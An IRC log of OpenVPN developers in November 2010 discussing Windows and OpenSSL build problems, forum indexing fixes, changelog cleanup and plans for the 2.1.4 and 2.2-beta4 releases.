pretty difficult to launch the task manager via rdesktop to kill it 08:50 <@cron2> mattock: did you manage to get the automated testing stuff to behave? 08:50 <@cron2> dazo: how's your time availability these days? There's a number of patches sitting in the "has been ACKed, waiting for dazo" queue 08:50 <@mattock> cron2: not yet, I was feeling lucky and continued with the Windows build today 08:51 <@cron2> .oO(he feels lucky, so he goes Windows, oh my...) 08:51 <@mattock> :D 08:51 * cron2 feels unlucky if he has to do windows :) 08:51 <@mattock> well, building anything under Windows _is_ terrible, but it's also a challenge 08:51 <@mattock> unlike in *NIX, where compiling anything (in C) takes 5 mins max 08:54 <@cron2> mattock: do you want an account of one of our AIX systems, or my old SCO Unix server? 08:54 <@cron2> building on Linux or FreeBSD is no challenge indeed "things just work" :) 08:54 <@mattock> for setting up a buildslave? 08:54 <@cron2> mattock: no, for a challenge :-) 08:55 <@mattock> oh, SCO UNIX... I hear that's can be a challenge to virtualize, among other things 08:55 <@cron2> buildslave on either system won't make sense - AIX has no tun driver, SCO is dead (*and* has no tun driver, *and* is the evil ones) 08:55 <@cron2> SCO OSR 5 works fairly well in vmware (one of SCO's unix gurus is now working for VMware :) ). SCO 3 is a major challenge, too me 3 days. 08:55 <@cron2> took evne 08:55 <@cron2> oh my, fat finger day again 08:56 <@mattock> thanks for the offer, currently I got enough challenge in shutting down visual studio 2008 (~30 mins and counting) 08:56 <@mattock> :) 08:56 <@cron2> heh :) 08:56 <@mattock> ... I now see the desktop 08:56 <@mattock> give it another 30 mins and the VS2008 process might be dead for good 08:57 <@mattock> then another 60 mins I got the 99% CPU eating process killed :) 08:58 <@mattock> s/"I got the"/"I might have the"/1 09:00 <@mattock> cron2: I think I'll spend the rest of the day on test server stuff... 09:14 < ecrist> dazo/cron2: if I have a bunch of files I cloned from git, and I changed a couple, how do I tell git to pull new, and replace the changed files with what's in git? 09:14 < ecrist> git reset --hard HEAD? 09:15 <@cron2> I think so, but dazo's the expert 09:15 < ecrist> git reset seemed to work. 09:15 < ecrist> nm, it didn't 09:22 < ecrist> adding the --hard HEAD worked, though. 09:42 -!- mattock [~samuli@dyn55-11.yok.fi] has left #openvpn-devel [] 09:43 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:43 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:33 <@dazo> cron2: I'm on a training this week ... I hope I'm able to get through some of these ACKs this week though ... I have a faint hope November will be calmer than the two last months, so I'll try to catch up asap 10:35 <@dazo> ecrist: --hard HEAD is really the nasty way how to reset your tree to the state of the last commit 10:36 < ecrist> why nasty? 10:36 <@dazo> well, you simply loose all changes ... no traces of what was before 10:36 < ecrist> not sure what that means 10:37 <@dazo> well, if you have done some changes to some files .... you simply loose those changes and there's no way recovering them - except doing the changes manually 10:37 < ecrist> oh, that's exactly what I want 10:38 < ecrist> I'm rolling another tagscript for a different project 10:38 <@dazo> yeah, then it is the right thing to do :) 10:38 < ecrist> part of the tarball build involves me patching a couple files 10:38 < ecrist> for version numbers, etc. 10:39 <@dazo> ahh 12:18 -!- dazo is now known as dazo_afk 12:31 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:31 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:31 -!- djc [~djc@gentoo/developer/djc] has quit [Ping timeout: 265 seconds] 15:06 -!- djc [~djc@enrai.xavamedia.nl] has joined #openvpn-devel 16:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 16:16 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 21:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 21:33 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:34 < krzee> https://forums.openvpn.net/viewtopic.php?f=4&t=7196&p=8273#p8273 23:34 <@vpnHelper> Title: OpenVPN Support Forum View topic - Problem with CN in unicode. (at forums.openvpn.net) 23:34 < krzee> sounds like he'll be adding a trac ticket 23:35 < krzee> (although i told him it seems unlikely that it will be supported and he needs new certs with different CN) --- Day changed Wed Nov 03 2010 01:29 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:33 <@vpnHelper> RSS Update - tickets: #67: Certificate CN field with unicode symbols <https://community.openvpn.net/openvpn/ticket/67> 02:35 < krzee> heh, and there it is 03:04 -!- dazo_afk is now known as dazo 03:11 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 255 seconds] 03:45 < krzee> hehe 03:45 < krzee> this guy insists that it is a bug rather than a feature request 04:05 * cron2 is not going to touch unicode stuff 04:05 <@cron2> melts your brain, that stuff 04:24 -!- djc [~djc@enrai.xavamedia.nl] has quit [Changing host] 04:24 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 05:07 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:40 -!- chantra_1fk [~chantra@ns38827.ovh.net] has quit [Ping timeout: 265 seconds] 05:46 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 08:29 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 08:32 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 09:12 -!- Netsplit *.net <-> *.split quits: darkwind 09:33 -!- Netsplit over, joins: darkwind 09:35 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 11:10 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 12:26 -!- raidzx is now known as raidz 12:26 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 12:26 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:29 -!- dazo is now known as dazo_afk 14:33 <@raidz> ecrist: is it just me or are the forums not being indexed by google? 14:34 <@raidz> I did some searchs for some threads and there are no results from the forums 15:07 < ecrist> afaik, the forums *are* being indexed by google 15:09 < ecrist> I'll look into it 15:12 <@raidz> Ok thanks, both Frank and I have search around a bit and have not seen anything yet 15:14 < ecrist> there seems to be a notion that google won't index sites sitting behind SSL 15:14 <@raidz> I can't seem to access the administration backend on phpbb, are we blocking their robots by chance? 15:14 < ecrist> I may need to change some of the config so we're not always sitting on an SSL connection, and only direct authentications there. 15:14 < ecrist> why can't you access the admin portal? 15:15 < ecrist> the 'Proceed to ACP' link, after the second login is broken, has been for quite a while. 15:16 < ecrist> thought I was the only one that ever used it, so it's not been high on my list. 15:16 < ecrist> just click the link at the bottom of the page. 15:24 < ecrist> raidz: you can also see the robots.txt by simply going to https://forums.openvpn.net/robots.txt 15:24 < ecrist> raidz: do you have a google account? 15:25 < ecrist> ah, I think I found the reason. 15:27 < ecrist> ok, so Google claims they *will* index https sites. the problem we're having is they're searching for the non-https robots.txt and don't like the redirect. 15:27 < ecrist> they're reporting they get a 404, and not a redirect. 15:27 < ecrist> tracking it down, trying to find a solution. 15:33 <@raidz> yeah not sure why I can't access the admin portal 15:33 <@raidz> I tried that, said I have incorrevt permissions or something 15:33 < ecrist> oh, let me look 15:33 < ecrist> what's your forum username? 15:33 <@raidz> Andrew 15:34 <@raidz> we added a robots.txt earlier today on non http, I think 15:34 < ecrist> ah, that might explain things 15:34 < ecrist> hrm, you're supposed to have access to admin cp 15:37 < ecrist> try now, raidz 15:38 < ecrist> you should have access now 15:38 < ecrist> raidz: do you have a google account? 15:39 < ecrist> I just checked, Google is now able to find robots.txt and should start crawling the site 15:39 < ecrist> forums.openvpn.net/robots.txt6 minutes ago200 (Suc 15:41 <@raidz> ecrist: Access to the Administration Control Panel is not allowed as you do not have administrative permissions. 15:42 <@raidz> yes I do have a google account 15:42 <@raidz> andrewopenvpn@gmail.com 15:42 <@raidz> or andrew@openvpn.org 15:43 < ecrist> http://skitch.com/ecrist/d6ix3/see-andrew 15:43 <@vpnHelper> Title: Skitch.com > ecrist > see andrew? (at skitch.com) 15:44 < ecrist> I just added you to the webmaster tools on google for forums.openvpn.net 15:44 < ecrist> you'll see the robots.txt is resolved, they'll start indexing soon 15:45 <@raidz> got admin access now 15:45 <@raidz> weird 15:46 <@raidz> which google account did you add tow ebmaster tools? 15:46 <@raidz> *webmaster 15:49 <@raidz> brb 15:56 < ecrist> the @gmail.com one 15:57 * ecrist goes to paint kitchen 19:50 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 19:53 -!- waldner [~waldner@2001:470:1f08:1d5::2] has joined #openvpn-devel 19:53 -!- waldner [~waldner@2001:470:1f08:1d5::2] has quit [Changing host] 19:53 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 20:33 -!- krzie is now known as krzee 20:53 < ecrist> raidz: anything else broken you see? 21:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 22:40 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 22:42 -!- waldner [~waldner@2001:470:1f08:1d5::2] has joined #openvpn-devel 22:42 -!- waldner [~waldner@2001:470:1f08:1d5::2] has quit [Changing host] 22:42 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Thu Nov 04 2010 00:49 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Read error: Operation timed out] 00:51 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 00:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 01:31 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:31 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 01:31 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:51 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:53 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:12 -!- dazo_afk is now known as dazo 03:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:42 -!- dazo is now known as dazo_afk 03:43 <@mattock> shall we have a meeting today evening? 03:52 -!- dazo_afk is now known as dazo_afk_afk 06:28 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 07:47 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:22 * cron2 is travelling and won't be around tonight 08:23 <@cron2> things I'd like to hear about - coverity status, 2.2b4 release plans, 2.1.3-win2k on download page 08:23 <@cron2> 2.1.4 release plans 08:25 < ecrist> I'd really like to see a changelog for 2.1.3 posted 08:26 < ecrist> I know it was only a windows build/driver signing issue, but we get asked about it all the time. 08:26 < ecrist> that's all the changelog would need to say 08:26 < ecrist> * fixed issue with driver signing in Windows build. 08:26 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 0 voices, 11 normal] 09:28 <@cron2> ecrist: seconded 09:32 <@mattock> any ideas is beta2.2 branch can make use of openssl 1.x? 09:32 <@mattock> I'm encountering really nasty linker issues with openssl 0.9.8o 09:32 <@mattock> on windows 09:33 <@mattock> very similar/the same as this: http://old.nabble.com/Installation-of-openSSL-td16586197.html 09:33 <@vpnHelper> Title: Old Nabble - OpenSSL - User - Installation of openSSL (at old.nabble.com) 09:53 <@mattock> ecrist: you mean adding the 2.1.3 line here: http://openvpn.net/index.php/open-source/documentation/change-log/71-21-change-log.html 09:53 <@vpnHelper> Title: 2.1 Change Log (at openvpn.net) 09:53 <@mattock> ? 09:53 * ecrist looks 09:54 < ecrist> yes 09:54 < ecrist> also, that's a link from http://www.openvpn.net/changelog-beta.html 09:54 < ecrist> which is wrong 09:54 <@mattock> actually we seem to have to separate changelogs on openvpn.net: http://openvpn.net/index.php/open-source/documentation/change-log/425-changelog-for-openvpn-22-beta3.html 09:54 < ecrist> http://www.openvpn.net/changelog-beta.html should link to http://www.openvpn.net/index.php/open-source/documentation/change-log/425-changelog-for-openvpn-22-beta3.html 09:55 <@vpnHelper> Title: 2.2-beta3 Change Log (at www.openvpn.net) 09:55 <@mattock> yeah, the "changelog-beta" stuff comes from James' release script 09:55 <@mattock> I got to clean those up 09:55 < ecrist> the Change Log for bet should point 2.1.3 http://www.openvpn.net/changelog-latest.html 09:55 <@vpnHelper> Title: Error 404: File not Found (at www.openvpn.net) 09:55 < ecrist> or changelog-release.html 09:59 <@mattock> ecrist: do you know which pages link to changelog-release, changelog-beta or changelog-latest? besides the "Downloads" page 10:01 <@mattock> it seems I got some serious cleaning up to do on openvpn.net... 10:01 < ecrist> no, there isn't one, afaik 10:02 < ecrist> just pointing out better alternatives. 10:02 <@mattock> ok 11:04 <@mattock> cron2: no progress with coverity, no response from james regarding 2.1.3-win2k (me need to push some more) 11:05 <@mattock> dazo seems to be away, and James is only available after 18:45 or so 11:06 <@mattock> also, james has not sent coverity credentials/details to me -> need to push more on this front, too 11:21 * ecrist might have credentials for it 11:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:24 < ecrist> no, I don't 11:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 13:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:24 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:56 -!- dazo_afk_afk is now known as dazo 13:56 <@mattock> dazo: hi, are you there? 13:57 <@mattock> oh, winter time bit me again, it's 18:57 UTC already 13:59 < ecrist> lol 13:59 < ecrist> time doesn't change until Sunday 14:00 < krzee> EU did 14:00 < krzee> US did not 14:00 < ecrist> Thu Nov 4 19:00:10 UTC 2010 14:00 < krzee> MX went with EU too 14:00 < ecrist> the only thing that matters is US, everyone else can bite my large american ball sack. 14:00 < ecrist> :) 14:00 <@dazo> Yeah, I'm here ... gee ... I've forgotten about the time change, it should have been an hour ago :) 14:01 < krzee> *bite* 14:01 < krzee> we never change our clocks here! 14:01 * dazo wonders how tasty that bite was .... 14:01 <@openvpn2009> lol 14:01 * krzee wonders how painful it was 14:01 <@openvpn2009> TMI 14:02 < ecrist> depends on how much krzee likes cheese 14:02 < ecrist> :P 14:02 < krzee> nobody can bite my large american ball sack... that shit would hurt! 14:02 <@dazo> mattock: I'm only able to stay around 1 hour today 14:05 <@dazo> so the topics for today ... my suggestions ... 1) 2.2-beta4 deadline + plus discussion which patches are required 2) A 2.1.4 release with the bogus-route-fix-patch 3) other stuff? 14:05 < ecrist> 3) changelog for 2.1.3 14:06 <@dazo> yeah 14:06 -!- Irssi: #openvpn-devel: Total of 20 nicks [9 ops, 0 halfops, 0 voices, 11 normal] 14:06 <@dazo> I'm starting with 1) now .... just to get started .... :) 14:10 <@dazo> I know the updated solaris patches from cron2 (which he has reviewed and tested) should go in + the bogus route patch. There are some other minor enhancements (HTTP/1.1 header, f.ex) ... I'm trying to get the plugin_v3 patches ready for it as well 14:12 <@dazo> SOCKS plain text auth is also ACKed and should go in 14:12 < krzee> 3a) my theory on detecting openvpn traffic from other encrypted traffic 14:14 <@mattock> ok, quick informal meeting then 14:14 <@mattock> one hour fifteen minutes late 14:14 <@mattock> :) 14:15 <@dazo> :) 14:15 <@dazo> If nobody have comments to my 1) ... let's go on :) 14:15 <@mattock> sounds good... 2) 14:16 <@mattock> what was/is holding 2.1.4 back? 14:16 <@dazo> well ... first ... I want to have the beta4 ready within the next 2 weeks ... I'm not sure I really got time for it, but I need to have a goal 14:16 <@dazo> 2.1.4 ... waiting for jamesyonan to add the patch I've mailed him 14:16 <@mattock> jamesyonan: are you there? 14:17 <@jamesyonan> yes, I'm here 14:17 <@jamesyonan> I added the patch already 14:17 <@mattock> excellent! 14:17 <@mattock> dazo: so it's just packaging and adding the 2.1.4 release to the webpage? 14:18 <@dazo> the only worry I now have ... is that 2.1.4 will also add some new features as well ... and is that really how we want to do our releases? 14:18 * dazo would like to see 2.1.x being in "maintenance mode", only getting bug fixes 14:18 <@mattock> I think not, if we want to avoid trouble with stable releases 14:19 <@dazo> and there have come even one more feature change since that bug fix patch was added 14:19 <@dazo> * Added --proto-force directive ... * Implement challenge/response authentication support in client mode, 14:20 <@mattock> dazo: what is 2.1.4 based on? 14:20 <@mattock> what branch? 14:20 <@dazo> svn-BETA21 14:20 <@mattock> ok 14:20 * dazo pushed out the last svn-BETA21 changes now 14:21 <@mattock> I'll check svn logs... it's been a while since last update 14:22 <@dazo> git log origin/svn-BETA21 14:22 <@dazo> (after a git fetch) 14:22 <@mattock> ok 14:24 <@dazo> I am considering to branch out the v2.1.3 tag we have in the git tree and cherry-pick the bogus-route-patch and package that as 2.1.4 ... that's the cleanest way to do it, considered stability ... and then james' svn-BETA21 branch will go into the same route as allmerged and beta2.2 stuff does now 14:25 <@dazo> If that is acceptable for you guys, then I'd propose that path .... but I'm not enforcing any specific paths here 14:25 <@mattock> that sounds good to me... 14:25 <@mattock> jamesyonan: what do you think? 14:26 <@mattock> I think it's best to think of James' SVN as an "external" branch from which stuff is pulled into "allmerged" 14:26 <@jamesyonan> yes, that sounds good 14:27 <@mattock> it should help ensure that stuff that ends up in releases is really stable, yet does not require James to stop development to wait for his code being accepted 14:27 <@mattock> into "allmerged" or other git branches 14:27 <@dazo> okay, perfect! then I'll have that ready by this weekend 14:28 <@mattock> what about 3) and 3a), then? 14:28 <@mattock> 2.1.3 changelog... 14:28 <@mattock> I'm on it 14:29 <@mattock> I'll edit the openvpn.net pages so that we only have one, valid and up-to-date changelog 14:29 <@mattock> I can do that tomorrow, actually 14:29 <@mattock> not a big deal 14:30 <@mattock> ecrist: have people been asking about changes between 2.1.2 and 2.1.3 on the forums? 14:30 <@mattock> or just the IRC? 14:31 < krzee> not especially 14:32 <@mattock> I'm thinking that if you give me an URL to a forum thread I can respond to that when the changelog issue is fixed 14:32 < krzee> not so much on irc that ive seen either... but there really should be a changelog with every release 14:33 < ecrist> yes, I get a question about it probably every couple days 14:33 < krzee> ecrist, on the forum? 14:33 < ecrist> IRC, usually 14:33 <@mattock> do they read the changelog from openvpn.net (web pages)? 14:34 <@mattock> or rather, _try_ to read... 14:34 <@mattock> that I could fix 14:34 < ecrist> yes 14:34 < krzee> and if they dont... 14:34 < krzee> [12:36] <krzee> !changelog 14:34 < krzee> [12:36] <vpnHelper> krzee: "changelog" is http://www.openvpn.net/changelog.html to see the openvpn changelog 14:34 < ecrist> the problem is, there's a 2.1.3 release, and no changelog 14:34 <@mattock> krzee: I'll fix that tomorrow 14:35 < krzee> cool, its especially easy for this one 14:35 < ecrist> mattock: also, the url issues I mentioned earlier today 14:35 < krzee> ecrist, is that re: the faq? 14:35 < ecrist> no, re: changelog 14:35 < krzee> ahh, url issues in the FAQ too 14:35 < krzee> for anchors 14:35 <@mattock> I got both issues in my TODO 14:36 <@mattock> and I'll fix them tomorrow :) 14:36 <@dazo> I'm updating the ChangeLog for 2.1.3 when I'm writing the 2.1.4 changelog 14:36 <@dazo> if you hold on, you'll get my tarball in a few minutes 14:36 <@mattock> dazo: I can wait that long :) 14:36 < krzee> heh 14:36 <@dazo> (if build test works ... then this was solved much quicker than expected) 14:37 <@dazo> krzee: what about your 3a) ? 14:37 < ecrist> the only thing else I wanted to mention today is Andrew and I fixed the google indexing issues on the forum, we think 14:38 <@dazo> cool! good job! 14:38 <@mattock> ecrist: good work! 14:39 < ecrist> I'll keep an eye on things and resolve them, if needed, but I think we got it 14:39 < ecrist> was an absent robots.txt 14:39 < krzee> ahh ok 14:40 < krzee> so i have a theory how openvpn traffic can be detected as opposed to other traffic... 14:40 <@mattock> shoot 14:40 < krzee> when i was reading threads about --port-share 14:41 < krzee> correct me if im wrong, seems that --port-share works because there is something unique about the ovpn traffic 14:41 < krzee> i guess i should find the thread 14:42 <@dazo> krzee: yeah, it's not proper SSL traffic, if I've understood the code correct ... as the OpenVPN protocol encapsulates SSL traffic into it's own containers ... this is needed to make SSL work over UDP 14:42 <@dazo> (SSL is designed to only be used with TCP) 14:43 < krzee> now i dont see anything wrong with what im saying 14:43 < krzee> just wanted to see if i was correct, see if anyone cared or anything 14:43 <@dazo> and to simplify the code, I presume, the TCP connections with OpenVPN is basically the same stuff 14:43 < krzee> open the discussion on it and see if it went anywhere i guess ;] 14:43 <@mattock> I don't think knowing it's openvpn traffic is an issue, as long as the crypto is sane 14:44 < krzee> mattock, right, just makes ovpn blockable based on it being openvpn, even if using --port-share 14:44 <@mattock> krzee: yeah, that's true 14:45 <@mattock> I got a couple of questions for jamesyonan... also related to 2.1.4 14:46 <@mattock> jamesyonan: I've got basically this issue: http://old.nabble.com/Installation-of-openSSL-td16586197.html 14:46 <@vpnHelper> Title: Old Nabble - OpenSSL - User - Installation of openSSL (at old.nabble.com) 14:46 <@mattock> while building openssl, both 0.9.8o and 1.0-something 14:47 <@dazo> mattock: I'd say we can move over to OpenSSL 1.0.0 ... I'm running that on more boxes, some with 24/7 connections, without any issues .... even though not Windows based 14:48 <@mattock> ok, I'll build 1.0.0 then 14:48 <@jamesyonan> I haven't seen that problem before. I am able to build OpenSSL 1.9.8 using VS 2008 by just following the install instructions. 14:49 <@dazo> The advantage with openssl-1.0.0 is that the API is now finalized ... so it shouldn't change until a major version update .... like moving to 1.1 or 2.0 14:49 <@mattock> I had to force it to build for x86 platform (set LINK="/MACHINE:x86") 14:50 <@mattock> there may be something funky with the VM 14:51 <@jamesyonan> one thing I do with openssl, is I expand the tarball on linux and then recompress without using links before I start using it on windows 14:51 <@mattock> jamesyonan: interesting... I'll try that, that could be it 14:52 <@mattock> I've used WinRAR to extract the tar.gz file 14:52 <@mattock> openssl builds just fine until the linker kicks in 14:52 <@mattock> basically I use these steps: 14:52 <@jamesyonan> I use gnu tar 14:53 <@mattock> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows#BuildingOpenSSL 14:53 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 14:53 <@mattock> it fails after compiling everything in the "nmake -f ms\ntdll.mak" (with the "link.obj not found" error) 14:54 <@mattock> I've been banging my head against that for a while now 14:54 <@mattock> anyways, I'll try the "extract and recompress in Linux" trick 14:56 <@mattock> jamesyonan: do you use real desktop to build openvpn for windows, or a VM? 14:56 <@jamesyonan> a VM 14:57 <@mattock> VMWare? 14:57 <@jamesyonan> yes 14:57 <@mattock> hmm, got to ask Andrew what virtualization technique my VM is using... 14:58 * dazo need to run now 14:58 <@mattock> dazo: ok, I'll add the 2.1.3 changelog to openvpn.net tomorrow... although it might take a while to go live 14:59 <@dazo> no worries ... and you'll take care of getting 2.1.4 built? 15:00 <@mattock> dazo: I can generate a tar.gz, a zip and packages for Debian 5 (i386/amd64) and Ubuntu 10.04 (i386/amd64) 15:00 <@dazo> if so ... and if we're able to get that one through the release machinery ... you might just want to jump straight for the 2.1.4 15:00 <@dazo> mattock: I've already built the tar ball ... you just need to build that one, that's all 15:00 <@mattock> yes, of course :) 15:00 <@dazo> I can do a make zip now too 15:01 <@mattock> ok, I'll provide the Debian/Ubuntu packages 15:01 <@mattock> jamesyonan: can you provide the Windows installer for 2.1.4? 15:01 <@mattock> dazo: one more thing: can I just check the svn-beta21 branch from Git and get the exact same sources as from your tarball? 15:01 <@mattock> that way I could use buildbot to generate the packages 15:02 <@dazo> mattock: jamesyonan: on the URL with the 2.1.4 tar ball ... just replace the .tar.gz with .zip ... and you have that package as well 15:02 <@jamesyonan> mattock: yes I can build it 15:02 <@mattock> thanks a lot! this openssl issue might take a while to sort out 15:02 < krzee> gotta go... have a good day fellas 15:02 <@mattock> krzee: bye! 15:02 <@dazo> mattock: nope .... I need to publish my release-2.1 branch ... that's where I'll keep the 2.1 release code 15:02 * ecrist also poofs 15:03 <@mattock> what if we get the release done by monday? 15:03 < ecrist> I can have a freebsd port comitted same-day if I get a tarball 15:03 <@dazo> mattock: sounds good to me! 15:03 <@mattock> ecrist: I'll give you a link 15:04 <@dazo> we're basically just waiting for jamesyonan to scream out if he don't like my tarball :) 15:04 <@mattock> jamesyonan: is monday an ok deadline for your windows build? 15:04 <@jamesyonan> yeah, that works for me 15:05 <@mattock> excellent, so we're all set 15:05 <@dazo> then I'm fleeing the scene as well 15:05 <@mattock> dazo: bye and see you later! 15:05 <@dazo> c'yall! 15:06 <@mattock> I'll flee too :) 15:06 -!- dazo is now known as dazo_afk 15:06 <@mattock> I'll write a short summary about the meeting today, so that others know what happened 15:06 <@mattock> even if we didn't mean to have a meeting today :) 15:40 -!- patelx [patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 15:43 -!- openvpn2009 is now known as patelx 15:57 -!- mode/#openvpn-devel [-o patelx] by raidz 15:57 -!- mode/#openvpn-devel [+v patelx] by raidz 15:58 -!- mode/#openvpn-devel [+o patelx] by raidz 16:47 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:47 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 16:49 -!- krzy [krzee@hemp.ircpimps.org] has quit [Client Quit] 16:49 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:49 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 16:49 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:52 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 252 seconds] 16:55 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 16:56 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:26 <@cron2> hey folks, good non-meeting that you had today :-) 17:27 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 17:45 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Fri Nov 05 2010 01:28 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 01:53 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:56 -!- dazo_afk is now known as dazo 02:45 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:48 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 04:07 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:23 <@mattock> ecrist, krzee: fixing the FAQ anchor issues at http://openvpn.net/index.php/open-source/faq.html is not as trivial as I though... the page is automatically generated by Joomla 04:23 <@vpnHelper> Title: FAQ Community (at openvpn.net) 04:24 <@mattock> could you give me the exact steps to reproduce the problem? I can then ask Frank to fix it. 04:33 <@mattock> 2.1.3 changelog fixed, waiting to be pushed to production soonish 05:31 <@cron2> mattock: great --- Log closed Fri Nov 05 06:34:59 2010 --- Log opened Fri Nov 05 06:35:10 2010 06:35 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 06:35 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 0 voices, 12 normal] 06:35 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 07:17 < ecrist> mattock: http://openvpn.net/index.php/open-source/faq.html#slash30 07:17 <@vpnHelper> Title: FAQ Community (at openvpn.net) 07:17 < ecrist> that link should scroll to the anchor, and expand it. 07:19 <@mattock> ecrist: where is that link to #slash30) located? what thing on what page do I have to press? :) 07:20 < ecrist> that link used to be posted somewhere, which is where we got it. it's now located within the factoids database 07:22 < ecrist> hrm, looks like you guys don't have named anchors on the FAQ any more. 09:19 -!- err0r [~err0r@err0r.enjoyvps.net] has joined #openvpn-devel 09:20 -!- err0r [~err0r@err0r.enjoyvps.net] has left #openvpn-devel [] 09:51 < ecrist> grr, the forum server is returning a 503 for some reason when google is trying to index the site 09:53 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 10:43 < ecrist> ping mattock/raidz 10:43 <@mattock> pong 10:45 <@mattock> ecrist: yeah, the old FAQ was probably a static webpage... I'll mail Frank about the other changes I made so he can push them production 10:47 < ecrist> ok 10:47 < ecrist> mattock: something is wonky in the forum. it seems there's something in the phpBB code that doesn't like the googlebot user agent 10:48 < ecrist> do we have any mods you guys installed? 10:58 <@cron2> mattock: hjave you able to make the automated client test work? 10:58 <@cron2> this should help build confidence for the 2.1.4 packages 10:58 <@mattock> cron2: no, for some reason routes were not generated properly 10:59 <@mattock> and the openssl build issues on WinXP took most of my time 10:59 <@cron2> weird 10:59 <@mattock> just a moment and I'll check the exact issue 10:59 <@mattock> I think route-diff was size 0 11:00 <@cron2> yep, this will make the script fail ("if nothing has changed, there cannot be a VPN!) 11:01 <@cron2> there could theoretically be a script-failure where the ifconfig-route-output ends up *empty* - in this case, the diff would also be empty, of course 11:01 < ecrist> mattock: looks like smartfeed might be the google killer 11:01 < ecrist> I'll track it down today 11:01 <@mattock> ecrist: ok, excellent, my hands are full 11:02 <@cron2> col 11:02 <@cron2> cool even 11:07 <@mattock> cron2: every single ifconfig-route-diff.txt files is size 0, and the *route-post* and *route-pre* files are identical 11:07 <@mattock> ... gotta go eat some 11:07 <@mattock> food 11:08 <@cron2> 